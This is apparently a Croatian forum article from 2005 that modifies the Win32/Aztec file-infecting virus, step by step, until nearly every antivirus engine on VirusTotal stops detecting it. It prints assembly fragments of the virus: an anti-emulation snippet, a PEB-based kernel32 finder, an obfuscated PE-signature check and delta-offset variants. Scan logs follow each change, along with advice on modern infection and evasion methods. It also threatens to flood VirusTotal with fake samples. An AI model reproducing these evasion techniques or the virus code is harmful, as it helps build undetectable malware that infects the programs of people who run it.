U ovom ću kratkom članku (za dužu verziju tko plati više :) pokazati kakvo su s***** današnji AV i kako su primitivne njihove so-called generičke zastite za viruse za koji još ne postoje definicije, u narodu poznate kao heuristike.
Za primjerak sam odabrao klasiku, old skul primjerak PE infektora - Win32/Aztec virus iz poznatog tutoriala Billy Belcebu-a
Billy Belcebu Virus Writing Guide 1.00 for Win32. Taj tutorial je star...prilično, i predstavlja jedan od prvih tutoriala kako pisati Win32 viruse. U to vrijeme nije bilo puno dokumentacije, ljudi nisu puno znali o windows internals pa su se snalazili kako mogu :>
E sad se malo pozabavimo Win32/Aztec. Aztec je klasičan PE infektor, praktički najelementarniji i najjednostavniji mogući virus koji se može napisat. Neke od tehnika koje Billy opisuje i koristi u svome tutorialu su obsoletne, te su danas pronađeni sigurniji i bolji ekvivalenti. Aztec je virus koji i dan dana ima hrpicu varijacija - budući da je Billy-ev tut praktički početnica za Win32 viruse, svaki 'aker početnik napravi neku svoju verziju koja se malo razlikuje od dotičnog virusa. Recimo ne inficira datoteke u Windows direktoriju, nego u Program Files :))) Šala. Evo i dan danas (11.2.2005), gledam
dnevni update od NOD32, i sto to vidim: Win32/Aztec.1344, Win32/Aztec.1356 :))
Dakle, šta radi ovaj Aztec.
-> Kad se pokrene prvo na klasičan način računa delta offset
-> Nakon toga traži bazu u memoriji od kernel32.dll tako što koristi SEH-zaštićenu petlju, spuštajući se po 10 page-va u odnosu na adresu iz koje virus pozvan u memoriji
-> Nakon toga traži adrese API-ja koji su mu potrebni tako sto parsira export tablicu kernel32.dll. Imena API-ja su pohranjeni kao statički stringovi
-> Nakon toga sprema u sebe stringove koji predstavljaju Windows direktorij, sistemski direktorij i trenutni direktorij
-> Nakon toga u petlji u svakom od tih direktorija inficira po 5 datoteka sa maskom "*.exe"
-> Rutina za inficiranje je klasika: MMF + potpis u jednom od rezerviranih polja PE headera, stavlja svoj potpis "AZTC" čime označava već inficirane datoteke kako se nebi dogodila višestruka infekcija
-> Inficirane datoteke e imati entrypoint preusmjeren na tijelo virusa koje je pridodano zadnjoj sekciji, kojoj je usto postavljen +w atribut.
Dakle, sve u svemu klasika. Danas, da netko piše virus, malo bi što koristio od gore navedenog:
-> Delta offset se računa u letu, ili ga daje inficirani domaćin, ili se uopće ne oduzima onaj "offset delta" čime se dobijaju manji opkodi i smanjuju zastavice za heuristike
-> Adresa kernel32.dll se u 4 instrukcije vadi iz PEB-a
-> Adrese API-ja se pohranjuju kao neki jednostavni hashevi (CRC32, Adler-32, neki glupi rot + shift algo...)
-> Ne inficiraju se sistemske datoteke bez da se prethodno ne isključi SFP/WFP, jer ih win po defaultu vrati čim se oni promijene. Osim toga, nadgleda ih i većina AV.
-> MMF se još uvijek koriste, ali potpisi se ne ostavljaju preko nekih takvih očitih signatura koje se mogu vidjeti u hex editoru. Obično se provjerava da li je aktivan mutex/postoji globalni atom/da li je dužina datoteke modulo <neki broj> = magičan broj/umetni matematički što perverzniji algoritam iz teorije brojeva po želji, tj. nešto puuuno manje sumnjivo, tj. nešto sto se moze odrediti tek @ runtime, a ne za vrijeme statičke analize koda :)
-> NE INFICIRA se zadnja sekcija osim ako se baš i ne mora :) POGOTOVO se entrypoint prve instrukcije programa ne preusmjerava u nju. Ako se inficira zadnja sekcija, koristi se EPO za redirekcju kontrolnog toka izvođenja, a ne redirekcija OH_AddressOfEntryPoint polja. I zaražena sekcija nema IMAGE_SCN_MEM_WRITE bit postavljen, već se u letu mijenjaju permisije page-eva s VirtualProtectEx, ili se tijelo virusa kopira na stog koji je obicno (gle čuda :) writable. Mada na novijim procesorima sa NX/EDB bitom + DEP neće biti executable, ali njih rijetko tko ima danas :>>>
Dakle, manje više se u tih 5-6 godina koliko je ovaj virus star sve živo promijenilo :)
Ono....trebali bi ga svi AV detektirati kao od šale. Dakle što dobijemo skeniranjem korištenjem virustotal servisa:
Code:
Scan results
File: aztec.bin
Date: 02/12/2005 03:02:37 (GMT+1)
----
AntiVir 6.29.0.11/20050211 found [W95/Aztec-1344]
AVG 718/20050210 found [W95/Iced.1344]
BitDefender 7.0/20050211 found [Win32.Aztec]
ClamAV devel-20050130/20050211 found [W95.Iced.1344]
DrWeb 4.32b/20050211 found [modification of Win32.Belcebu.1376]
eTrust-Iris 7.1.194.0/20050212 found [Win32/Aztec.1344]
eTrust-Vet 11.7.0.0/20050211 found [Win32.Iced.1344]
Fortinet 2.51/20050212 found [W32/Aztec.1344]
F-Prot 3.16a/20050210 found [W32/Aztec.1344]
Kaspersky 4.0.2.24/20050212 found [Virus.Win9x.Iced.1344]
NOD32v2 1.997/20050211 found [Win32/Aztec.1344]
Norman 5.70.10/20050211 found [W32/Iced.1344]
Panda 8.02.00/20050211 found [W95/Iced.1344]
Sybari 7.5.1314/20050212 found [W95/Iced.1344]
Symantec 8.0/20050211 found [W32.Iced.1344]
Dakle svi ga detektiraju manje-više. Billy veli da je Aztec nastao kao varijacija Iced virusa, pa ga neki i kao takvog imaju u bazi :>
E sad se počnimo igrati. Kao što sam spomenuo na samom početku ove teme, imamo jedan uberkul komadić koda koji ide ovako:
Code:
anti_emu equ <dd 0FF04C033h,75C00B48h,0F40174FBh>
Šta ovaj komadić koda radi, pročitajte na početku ove teme :>
U biti je kod jaaaaako, jaaaako glup. Općenito se anti-emu forice sastoje od nekih trikova kod kojih će emulator "krivo pretpostaviti" šta kod radi. U ovom slučaju su krivo procijenili petlju, pa su pretpostavili da će se izvršiti
hlt instrukcija koja će, pošto se program izvodi pod ring3, uzrokovati iznimku i emulacija će se završiti.
Druge, općenite, cake su sl. ovoj i općenito se sastoje od eksploatiranja nedostatatka znanja AV-a o okolini u kojoj se virus izvodi. Recimo, korištenje nedokumentiranih memorijskih lokacija (PEB/TEB je idealan!, mogu i neki dijelovi sistemskih DLL-ova..), caka vezanih za pojedini OS (recimo cs selektor, njegova pretpostavljena vrijednost na NT familiji) koje se mogu iskoristiti za generiranje grananja koda, prije AV nisu dobro emulirali
retf (far return), pa ako bi radio push offset func, push cs, retf - ne bi skužio :> ....poanta je napraviti što VIŠE takvih potencijalno nepoznatih grananja, sa što vise slijepih ulica, kako bi AV jako teško "upiknuo" onu pravu.
AV je vremenski i resursima jako ograničen pri analizi pojedine datoteke. Također, svaka heuristika je kao mini virtualna mašina - zna PUNO toga o detaljima OS-a kojeg emulira, ali ne zna SVE, tj. postoje rupice koje virus može eksploatirati kako bi izbjegao život u matrixu :) U biti su heuristike baš to -> OS so real that you wouldn't know the difference between the emuOS and the realOS...............you think that's the memory you're reading? :>>>
Enivej, takvi se nedostaci odavno iskorištavaju prije svega za EPO. Zamislite da virus zarazi neki program sa kompleksnim GUI-em (a koji to danas na win nije :)...virus recimo patcha DefWndProc handler za, recimo, neku specifičnu WM_* poruku...emulator se konkretno u ovom slučaju može hebat. Zato jer naravno nema resursa/vremena na raspolaganju da emulira cijelu logiku izvođenja sve do tog konkretnog dijela koda.
Zato su neki AV pomalo glupi. Ustvari jako glupi :) U biti imaju predefiniranu bazu "sumnjivog" koda, te parsaju sekciju za kod i u potrazi za tim "sumnjivim" snippetima, te ako ih ima dovoljan broj, oglase zvona za uzbunu. Nedostatak tog pristupa kod kojeg nema dubinske analize kontrolnoga toka jest što je jaaako podložan generiranju FP (False Positive), te neće raditi za bilo koji inteligentnije kriptirani kod (koji standardni, glupi x-raying ne može penetrirati, recimo sa klizećim XOR ključem baziranim na kongruentnom modelu). Koliko je ta metoda s*****, pokazao sam već na Symatecovim "heuristikama" koje ju koriste, i na onom 20-instruction so-called virusu :))))
Daklem, da počnemo...
Umentimo anti_emu snippet kao makro odmah na sam početak virusa...dovoljno je jednom. I to ovako:
Code:
virus_start label byte
aztec: anti_emu
pushad ; Push all the registers
...
Code:
Scan results
File: aztec.bin
Date: 02/12/2005 04:33:17 (GMT+1)
----
AntiVir 6.29.0.11/20050211 found [Heuristic/Virus.Win32]
AVG 718/20050210 found nothing
BitDefender 7.0/20050211 found [Win32.Aztec]
ClamAV devel-20050130/20050211 found nothing
DrWeb 4.32b/20050211 found nothing
eTrust-Iris 7.1.194.0/20050212 found nothing
eTrust-Vet 11.7.0.0/20050211 found [Win32.Iced.1344]
Fortinet 2.51/20050212 found nothing
F-Prot 3.16a/20050210 found nothing
Kaspersky 4.0.2.24/20050212 found nothing
NOD32v2 1.997/20050211 found [Win32/Aztec.1356]
Norman 5.70.10/20050211 found [W32/FileInfector]
Panda 8.02.00/20050211 found [Suspect File]
Sybari 7.5.1314/20050212 found [W32/NGVCK]
Symantec 8.0/20050211 found [Bloodhound.W32.2]
I padoše ih....POLA!
Redom: AVG, ClamAV (uvijek sam govorio koliko je OSS nekvalitetan :), DrWeb, eTrust-Iris, Fortinet, F-Prot, Kaspersky. Skoro pa pola :)
Od ostalih ih preko signature detektiraju BitDefender, NOD32v2 i eTrust-Vet, ostali ih preko heuristika nalaze. Zanimljiv je Sybari-ev rezultat koji ga prijavljuje kao spawn NGVCK kita za kreiranje virusa!
Mislim....smiješno....AV koji tvrde da imaju heuristiku, a nisu u stanju emulirati i najobičniju kvazibeskonačnu petlju!! Get Real!!!!!
Također, za f-prot mala zamjerka, pošto će kasnije on nakon nekih modifikacija OPET prijavljivati infekciju. Ali otom potom :)
Sljedeći korak pri modificiranju ovog školskog primjerka virusa jest bila zamjena GetK32 fje sa novijom, modernijom varijantom. Više nije potrebno trošiti skupe CPU cikluse brutforsajući memoriju, već elegantno kombiniramo informacije iz PEB-a. Nisam stavio onu direktnu, kratku verziju, već jednu malo modificiraniju, koju sam sam napisao za svoje potrebe. Moja verzija te fje prvo testira nekoliko već poznatih baza kernel32.dll, nakon toga pokušava iskoristiti PEB, pa tek u krajnjem slučaju poziva onu povratnu adresu sa stoga pa brutforsa. U svakom slučaju ima da radi, na ovaj ili onaj način :) Ta fja izgleda ovako (umjesto defaultne GetK32):
Code:
GetK32:
call __tab ; kernel imagebase table for different versions of vindoze:
dd 077E00000h ; NT/W2k
dd 077E80000h ; NT/W2k
dd 077ED0000h ; NT/W2k
dd 077F00000h ; NT/W2k
dd 0BFF70000h ; 95/98
dd 077E60000h ; XP home
dd 0BFF60000h ; Me
__tab: pop esi
push 7
pop ebx ; ebx = counter
__nxt_base: dec ebx
lodsd ; take one imagebase
call _krnl_check ; and check it
jecxz __got_kernel
test ebx, ebx ; check table end
jnz __nxt_base
mov eax, fs:[TEB_PEB] ; take ptr to PEB
test eax, eax ; > 80000000h ?
js __PEB_try ; !NT
mov eax, [eax.PEB_PebLdrData]
mov esi, [eax.PEB_LDR_InInitOrderModuleList.LE_Flink]
lodsd ; go to second entry
mov eax, [eax.LDR_ModuleBase-LDR_InInitializationOrderLdrEnt.LE_Flink]
call _krnl_check
jecxz __got_kernel
__PEB_try: call __PEB_x
mov esp,[esp.EH_EstablisherFrame] ; set SEH frame manually
jmp __PEB_failed
__PEB_x: xor eax, eax
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, fs:[TEB_PEB] ; *PEB
mov eax, [eax+34h]
mov eax, [eax+0b8h] ; now eax should be kernel's imagebase
call _krnl_check
__PEB_failed: @SEH_RemoveFrame
jecxz __got_kernel
__rec_scan: mov eax, [esp.(2*Pshd).Arg1.cPushad] ; take kernel return address. skip pushad, SEH and one call
and eax, -1 shl 16 ; align to 10 pages
add eax, 2 shl 15 ; add 10 pages
__1: sub eax, 2 shl 15 ; and loop per 10 pages
call _krnl_check
jecxz __got_kernel
jmp __1 ; we r gonna find that bloody kernel :)
__got_kernel: ret
_krnl_check: mov ecx, eax ; gotta set ecx so that we can return true
pusha
call __temp
mov esp, [esp.EH_EstablisherFrame] ; set SEH manually
jmp __end_k
__temp: xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
mov edx, [eax.MZ_lfanew] ; take RVA to PE header
mov ebx, [edx+eax] ; check PE signature
xor ebx, 'SUN' ; indirectly
sub ebx, IMAGE_NT_SIGNATURE xor 'SUN' ; lil sig
jnz __end_k
cmp eax, [edx+ecx.NT_OptionalHeader.OH_ImageBase] ; check the predefined imagebase
jnz __end_k
xor ecx, ecx ;no kernel for us :(
__end_k: @SEH_RemoveFrame
mov [esp.Pushad_ecx], ecx
popa
__end: retn
Nakon toga opalih sken:
Code:
AntiVir 6.29.0.11/20050209 found [Heuristic/Virus.Win32]
AVG 718/20050207 found nothing
BitDefender 7.0/20050209 found [Win32.Aztec]
ClamAV devel-20050130/20050210 found nothing
DrWeb 4.32b/20050209 found nothing
eTrust-Iris 7.1.194.0/20050210 found nothing
eTrust-Vet 11.7.0.0/20050210 found [Win32.Iced.1344]
Fortinet 2.51/20050209 found nothing
F-Prot 3.16a/20050208 found nothing
Kaspersky 4.0.2.24/20050210 found nothing
NOD32v2 1.995/20050210 found [probably unknown WIN32 virus]
Norman 5.70.10/20050207 found [W32/FileInfector]
Panda 8.02.00/20050209 found [Suspect File]
Sybari 7.5.1314/20050210 found [W32/NGVCK]
Symantec 8.0/20050210 found [Bloodhound.W32.2]
Kao što vidimo gotovo se ništa nije promijenilo. Čini se da su dotični AV otporni na ovakve cake, ili da su detekcije bazirane na nekoj sekvenci koda koja se dogodila prije poziva GetK32 procedure. NOD32v2 sad virus ne detektira preko signature, već preko heuristika.
Sljedeće što nam je na umu jest maknuti sve baš statičke karakteristike ovog virusa. Payload je u vx terminologiji ono što virus radi (recimo destruktivan payload - brisanje hard diska, konstruktivan payload - 29a logo za bootanja mašine :) E pa payload ove bebe jest običan Message Box za vrijeme prve generacije, i njega brišemo:
Code:
szTitle db "[Win32.Aztec v1.01]",0
szMessage db "Aztec is a bugfixed version of my Iced Earth",10
db "virus, with some optimizations and with some",10
db "'special' features removed. Anyway, it will",10
db "be able to spread in the wild succefully :)",10,10
db "(c) 1999 by Billy Belcebu/iKX",0
Nadalje, u tijelu virusa je ostavljen "potpis", i njega mičemo:
Code:
mark_ db "[Win32.Aztec v1.01]",0
db "(c) 1999 Billy Belcebu/iKX",0
Dakle totalno trivijalne stvari. Par statičkih stringova, i to je to. Reasemblirarm i analiziram:
Code:
Scan results
File: aztec.bin
Date: 02/12/2005 04:56:11 (GMT+1)
----
AntiVir 6.29.0.11/20050211 found [W32/Aztec]
AVG 718/20050210 found nothing
BitDefender 7.0/20050211 found nothing
ClamAV devel-20050130/20050211 found nothing
DrWeb 4.32b/20050211 found nothing
eTrust-Iris 7.1.194.0/20050212 found nothing
eTrust-Vet 11.7.0.0/20050211 found nothing
Fortinet 2.51/20050212 found nothing
F-Prot 3.16a/20050210 found [could be infected with an unknown virus]
Kaspersky 4.0.2.24/20050212 found nothing
NOD32v2 1.997/20050211 found [probably unknown WIN32 virus]
Norman 5.70.10/20050211 found nothing
Panda 8.02.00/20050211 found [Suspect File]
Sybari 7.5.1314/20050212 found nothing
Symantec 8.0/20050211 found [Bloodhound.W32.2]
Padoše redom: BitDefender, eTrust-Vet, Norman i Sybari. Mislim.....koja bruuuuuuka. A sve što sam uradio jest izbrisao par stringova :> Mislim, mogao sam uzeti i hex editor i prebrisati ih sa "U STUPID AV" stringom :)))
Stvarno smiješno......Eto, zasad samo AntiVir detektira preko signature, a još nisam ni počeo nešto što bi se pod normalnim okolnostima moglo nazvati "sakrivanje" podataka/koda od heuristika.
Nakon toga sam primjenio Mikky-ev savjet, te izmjenio pri računanju delta offseta onaj:
Code:
call delta
delta: pop ebp
mov eax,ebp
u:
Code:
call delta
delta: mov ebp, [esp]
add esp, 4
mov eax,ebp
Pri čemu je pao:
Code:
Scan results
File: aztec.bin
Date: 02/12/2005 05:15:05 (GMT+1)
----
AntiVir 6.29.0.11/20050211 found [W32/Aztec]
AVG 718/20050210 found nothing
BitDefender 7.0/20050211 found nothing
ClamAV devel-20050130/20050211 found nothing
DrWeb 4.32b/20050211 found nothing
eTrust-Iris 7.1.194.0/20050212 found nothing
eTrust-Vet 11.7.0.0/20050211 found nothing
Fortinet 2.51/20050212 found nothing
F-Prot 3.16a/20050210 found nothing
Kaspersky 4.0.2.24/20050212 found nothing
NOD32v2 1.997/20050211 found [probably unknown WIN32 virus]
Norman 5.70.10/20050211 found nothing
Panda 8.02.00/20050211 found [Suspect File]
Sybari 7.5.1314/20050212 found nothing
Symantec 8.0/20050211 found [Bloodhound.W32.2]
f-prot :))
Moram napomenuti da mi je jučer već bio otpao i AntiVir do ove točke (u biti na prošloj). Izgleda da ovaj virustotal
SURAĐUJE SA ANTIVIRUSNIM KOMPANIJAMA TAKO ŠTO IM PROSLJEĐUJE PRIMJERKE!
Đubre jedno.
Idemo dalje. Dosta je bilo dječjih igara (iako se čini da su većina testiranih heuristika baš to - dječja igra), vrijeme je za pravu akciju. Napravljene su sljedeće izmjene (neću pejstat sve kodove pošto je puno izmjena, šaljem na mejl na zahtjev):
- maknute su Aztecove obsoletne i implementirane vlastite procedure za traženje adresa API-ja, ovaj put preko hash tablice a ne preko stringova, maknuti SVI statički stringovi u kodu
- maknut infection mark:
Code:
mov dword ptr [edi+4Ch],"CTZA" ; Put infection mark
- x_push makro za ".EXE" (tj. EXE_MASK), z0mbijev makro koji on-the-fly generira zadani string na stogu + x_pop za poravnanje esp
- OpenFile procedura inline-irana -> NOD32 mijenja prijavu u: NOD32v2 1.995/20050210 found [probably modified virus Win32/Highway.C (WIN32) [7]] ludnica :))
- inline-irane su - TruncFile, MapFile, CreateMap, Align procedure
- Umetanjem
hlt instrukcije pri samom počcetku virusa ostaje jednaka detekcija kod svih, iz čega možemo zaključiti da se emulacija nastavlja čak i ako je došlo do greške kod nekih instrukcija. Sad više nije u igri obsfukacija kontrolnog toka, već micanje broja zastavica za sumnjive dijelove koda. Mada, čini se, postoji OGROMNA razlika u načinu kako je to implementirano kod nekih proizvoda. Recimo, ako unesem BAŠ SRANJA od instrukcija, recimo direktan poziv na ExitProcess i sl. nebuloze, jedino će Symantec davati FP, što će reći da kod ostalih heuristika postoji neka vrsta tolerancije prema potencijalnim junk instrukcijama, pogotovo jednobajtnim.
- novi kod za delta offest:
Code:
call delta
delta:
mov esi, esp
lodsd
mov ebp, eax
call $+5
add esp, 8
; mov eax,ebp
sub ebp,offset delta
Ništa komplicirano, samo hrpa izmjena kako bismo malo modernizirali virus :) Evo rezultata:
Code:
Scan results
File: aztec.bin
Date: 02/12/2005 05:32:11 (GMT+1)
----
AntiVir 6.29.0.11/20050211 found nothing
AVG 718/20050210 found nothing
BitDefender 7.0/20050211 found nothing
ClamAV devel-20050130/20050211 found nothing
DrWeb 4.32b/20050211 found nothing
eTrust-Iris 7.1.194.0/20050212 found nothing
eTrust-Vet 11.7.0.0/20050211 found nothing
Fortinet 2.51/20050212 found nothing
F-Prot 3.16a/20050210 found nothing
Kaspersky 4.0.2.24/20050212 found nothing
NOD32v2 1.997/20050211 found [probably unknown WIN32 virus]
Norman 5.70.10/20050211 found nothing
Panda 8.02.00/20050211 found [Suspect File]
Sybari 7.5.1314/20050212 found nothing
Symantec 8.0/20050211 found [Bloodhound.W32.2]
Odoše f-prot i AntiVir :)) Eh šta ti je kad su ti heuristike hrpa govana....
Sad mogu reći da samo Panda, Nod32 (i f-prot, ovisi kako mu šune :) imaju nešto što se može nazvati heuristikama. Ostalo su sve marketinški nabumbani proizvodi koji LAŽU svojim mušterijama o podršci detekcije još nepoznatog malware-a. Ako nisu uspjeli detektirati ovako TRIVIJALNO modificirani virus otvorenog koda, star 5 god, onda im od heuristike ne ostaje ni h.
Nakon toga su napravljene u kodu sljedece preinake, pri cemu mi je cilj bio sto "opcenitija" definicija virusa:
- izmjenjen dio koda nakon delta offseta, ebx preuzeo ulogu delta registra (prije bio ebp):
Code:
sub ebp,offset delta
mov ecx, shit_size-1
sub eax, ecx ;shit_size ; Obtain the Image Base on
dec ecx
sub eax,00001000h ; the fly
NewEIP equ $-4
mov ebx, ebp
mov dword ptr [ebx+ModBase],eax
- maknuti svi viškovi koda uzrokovani prethodnim dodavanjima..
- inline-irane su procedure: PrepareInfection, InfectAll
- ebp->ebx sve do kraja koda, i u dijelu za infekciju, dodana privremena varijabla temp
- obsfukirana provjera za "PE" signaturom u infekcijskoj proceduri -> pao nod32!
Code:
add esi,eax
lodsd
sub esi, 4
xor eax, 'SUN'
sub eax, IMAGE_NT_SIGNATURE xor 'SUN'
;cmp dword ptr [esi],"EP" ; Is it PE?
jnz NoInfect
Code:
AntiVir 6.29.0.11/20050211 found [W32/Latzec]
AVG 718/20050210 found nothing
BitDefender 7.0/20050211 found nothing
ClamAV devel-20050130/20050211 found nothing
DrWeb 4.32b/20050211 found nothing
eTrust-Iris 7.1.194.0/20050212 found nothing
eTrust-Vet 11.7.0.0/20050211 found nothing
Fortinet 2.51/20050212 found nothing
F-Prot 3.16a/20050210 found nothing
Kaspersky 4.0.2.24/20050212 found nothing
NOD32v2 1.997/20050211 found nothing
Norman 5.70.10/20050211 found nothing
Panda 8.02.00/20050211 found [Suspect File]
Sybari 7.5.1314/20050212 found nothing
Symantec 8.0/20050211 found [Bloodhound.W32.2]
Rezultat koji prijavljuje AntiVir zanemarimo, jer mi ovaj isti virus prije 2 dana nije detektirao. Njegova trenutna detekcija je 99.99% rezultat suradnje sa virustotal servisom preko kojeg je ovaj sken obavljen :>
Idemo dalje.
- Panda je izgleda opušila na komentiranju hardcoded adresa kernela:
Code:
; call __tab ; kernel imagebase table for different versions of vindoze:
; dd 077E00000h ; NT/W2k
; dd 077E80000h ; NT/W2k
; dd 077ED0000h ; NT/W2k
; dd 077F00000h ; NT/W2k
; dd 0BFF70000h ; 95/98
; dd 077E60000h ; XP home
; dd 0BFF60000h ; Me
;
;__tab: pop esi
; push 7
; pop ebx ; ebx = counter
;
;__nxt_base: dec ebx
; lodsd ; take one imagebase
; call _krnl_check ; and check it
; jecxz __got_kernel
;
; test ebx, ebx ; check table end
; jnz __nxt_base
Code:
Scan results
File: aztec.bin
Date: 02/12/2005 06:15:41 (GMT+1)
----
AntiVir 6.29.0.11/20050211 found [W32/Latzec]
AVG 718/20050210 found nothing
BitDefender 7.0/20050211 found nothing
ClamAV devel-20050130/20050211 found nothing
DrWeb 4.32b/20050211 found nothing
eTrust-Iris 7.1.194.0/20050212 found nothing
eTrust-Vet 11.7.0.0/20050211 found nothing
Fortinet 2.51/20050212 found nothing
F-Prot 3.16a/20050210 found nothing
Kaspersky 4.0.2.24/20050212 found nothing
NOD32v2 1.997/20050211 found nothing
Norman 5.70.10/20050211 found nothing
Panda 8.02.00/20050211 found nothing
Sybari 7.5.1314/20050212 found nothing
Symantec 8.0/20050211 found [Bloodhound.W32.2]
Ode i glupa Panda. NOD32 je bar umro časno -> nije prepoznao modificiranu verziju cmp instrukcije :) Ovaj dio koda koji sam maknuo za Pandu je ionako star i nepotreban, služi samo za ubrzavanje procedure. Bio sam ga napisao kad sam pravio (prvi!) generički win32 shellcode, 2 mjeseca prije nego što je neke njegove dijelove rippala ona đubrad iz LSD :> Tad još PEB trik nije bio siguran, pa se sve koristilo :>
Ovaj glupavi AntiVir opet zanemarimo, jer, kao što rekoh, jučer nije ništa prijavljivao. Hebeni virustotal, sunce mu hebem, neću više ništa na njega slati :>>>> Uostalom, kao što se vidi, ne rade mu heuristike, već neka fixna signatura koju bih, da mi se sad da (a ne da), maknuo vjerojatno komentiranjem/mijenjanjem par instrukcija :>
E sad je ostao još samo Symantec. Symantec je specifična priča. Radi se o ultimativnom đubretu od heuristika. Zašto? Zato jer ovaj:
Code:
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
pop edx
movzx eax, word ptr [edi+06h]
dec eax
imul eax, eax, 28h
add esi, 78h
mov edx, [edi+74h]
shl edx, 3
mov edx, [esi+10h]
mov eax, [esi+0Ch]
push eax
div ecx
sub ecx, edx
add eax, ecx
pop edx
or dword ptr [esi+24h],0A0000020h
komadič koda prijavljuje kao "virus" ! Taj sam komadić koda dobio micanjem "viškova" sa originalnog virusa. Naravno da je ovaj komadić koda bezopasan i da ništa ne radi. I što je najbolje, RUŠI SE kad se pokrene. Zanimljivi su ovi dijelovi: Prvi i treći su standardni snippeti za align sekcije nakon što joj je dodano tijelo virusa, drugi je dio u kojem se uzima RVA posljednje sekcije u eax, pod pretpostavkom da su esi i edi adrese PE headera, dok je zadnji dio postavljanje read i write bitova na atribute te sekcije. Divan virus, nema šta :) E ove iz Symanteca treba osobito naklepat :))
Zaključak
Mislite da ste sigurni ako imate najnovijeg Nortona? Ako vas na taskbaru čuva Pandina šapica? E pa niste. Barem ne od klasičnih virusa koji su divljini. A kamoli od opskurnog malware-a koji profiji pišu po narudžbi. Panda, f-prot, NOD32 su pobjednici. Crveni karton dobiva Symatec zbog FP na "virus" od 20 instrukcija. Ostalo sve srednja žalost. Tj. s*****. Imam neki osjećaj da ako sad napišem neki FP fuzzer i pošsaljem ga Virus Bulletin, nijedan AV u sljedećem broju ne bi imao 100% :)))
Ma jok. Stavit ću da svaki dan 10000 takvih FP šalje na virustotal. Pa neka AV "stručnjaci" umru dok ne nađu bugove u svojim patetičnim heuristikama. Lako je ubaciti binary u program koji će nakon 10 sati rada ispljunuti sigurnu definiciju, ali brate, popravi ti bug u programu tako da i dalje ne generira FP! Malo teško....we'll see :)
Malo anti-Symantec propagande, pošto je zauzeo zadnje mjesto i još uvijek lažira svoje rezultate:
http://www.nod32.com/news/cnet_zdnet.htm
http://www.nod32.com/news/joe_wells.htm
Citat:
In his CNet / ZDNet review, Ken Feinstein, a part-time amateur antivirus tester with no credentials whatsoever in the antivirus industry, used a handful of Rosenthal Utilities simulated viruses to rate NOD32 much lower in virus detection than Virus Bulletin (or any other competent antivirus software reviewer) has ever rated it !!!
Ken Feinstein makes a "big deal" of the fact that NOD32 misssed his pretend viruses!
Of course NOD32 missed them !!!
NOD32 was designed to miss them !!!
Simulated viruses have been ridiculed by the antivirus industry for years!
It's either a virus or it's not --- and if it's not a virus then no decent antivirus program will detect it as a virus!
One would think CNet / ZDNet would have learned from their past mistakes, but it seems they still think their amateur reviewers know more about antivirus product testing than antivirus professionals.
Joe Wells, Founder and Director of the WildList Organization, wrote a scathing commentary about Gregg Keizer's September 2000 CNet antivirus program review in an open letter to CNet, in which he said :
-> If a product does not report a simulated virus as being infected, it's right. And if a program does report a simulated virus as being infected, it's wrong. Thus, using simulated viruses in a product review inverts the test results. It grossly misrepresents the truth of the matter because :
-> It rewards the product that incorrectly reports a non-virus as infected.
-> It penalizes a product that correctly recognizes the non-virus as not infected.
Norton AntiVirus --- CNet's long-time "Editor's Choice" --- does detect Rosenthal's non-virus files as infected!
NOD32 --- rated as "Poor" in detection by CNet --- doesn't detect Rosenthal's non-virus files as viruses!
....(pročitajte do kraja, ima još toga zanimljivoga :)
Ljudi, nemojte nasjedati Norton propagandi, ne budite Amerikanci da mediji manipuliraju Vašim životima. Imate ovdje crno na bijelom, sve što sam ovdje napisao će potvrditi svaki ozbiljniji (anti)virusni stručnjak.
Slobodno pokažite ovaj članak vašim obližnjim AV distributerima :>
AV odabirite prema vlastitoj procjeni, a ne kako vam trgovci kažu.